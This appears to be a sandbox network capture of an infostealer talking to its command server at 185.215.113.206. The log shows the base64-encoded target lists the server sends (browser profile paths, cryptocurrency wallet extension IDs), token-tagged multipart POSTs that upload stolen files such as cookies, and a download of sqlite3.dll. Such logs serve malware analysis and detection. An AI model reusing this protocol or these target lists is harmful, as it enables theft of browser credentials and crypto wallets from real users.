Nov 11, 2024 19:52:00.464142084 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 11, 2024 19:52:00.464159012 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 11, 2024 19:52:00.465457916 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"plugins------BGCAFHCAKFBFIECAFIIJ--
Nov 11, 2024 19:52:00.668436050 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 11, 2024 19:52:00.668457031 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 11, 2024 19:52:00.668545008 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 11, 2024 19:52:00.668560982 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 11, 2024 19:52:00.668572903 CET	424	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 11, 2024 19:52:00.668586016 CET	1236	IN	Data Raw: 5a 47 5a 74 62 57 46 6f 61 47 4a 71 5a 57 5a 6a 59 6d 64 68 62 32 78 6f 61 47 46 75 62 47 46 76 62 47 4a 38 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 Data Ascii: ZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWh
Nov 11, 2024 19:52:00.668596983 CET	1236	IN	Data Raw: 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 Data Ascii: amJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGV
Nov 11, 2024 19:52:00.668610096 CET	424	IN	Data Raw: 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 Data Ascii: a3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJ
Nov 11, 2024 19:52:00.669615984 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 11, 2024 19:52:00.671282053 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 2d 2d 0d 0a Data Ascii: ------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="message"fplugins------DHJEBGIEBFIJKEBFBFHI--
Nov 11, 2024 19:52:00.873318911 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 11, 2024 19:52:00.889635086 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.215.113.206 Content-Length: 5591 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:52:00.889664888 CET	5591	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 11, 2024 19:52:01.599390030 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:52:01.896485090 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 19:52:02.096004009 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49728	185.215.113.206	80	6608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:52:10.368973017 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.206 Content-Length: 999 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:52:10.368994951 CET	999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 11, 2024 19:52:11.523766041 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:52:11.783597946 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 61 39 62 63 33 30 63 32 39 35 34 66 65 62 34 63 61 34 62 37 64 64 33 63 36 35 33 66 35 38 32 32 65 30 32 38 32 32 61 63 34 61 39 62 37 66 37 33 32 30 62 31 39 63 32 65 30 64 62 63 64 37 66 35 32 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 41 41 4b 46 43 41 46 49 49 44 48 49 44 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBAAAKFCAFIIDHIDGHIEContent-Disposition: form-data; name="file"------FBAAAKFCAFIIDHIDGHIE--
Nov 11, 2024 19:52:12.515573978 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49755	185.215.113.206	80	6608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:52:18.313956976 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIIIJDAAAAAAKECBFBA Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:52:18.314220905 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 64 36 63 64 Data Ascii: ------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="token"20d6cda9bc30c2954feb4ca4b7dd3c653f5822e02822ac4a9b7f7320b19c2e0dbcd7f52c------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 11, 2024 19:52:19.526289940 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
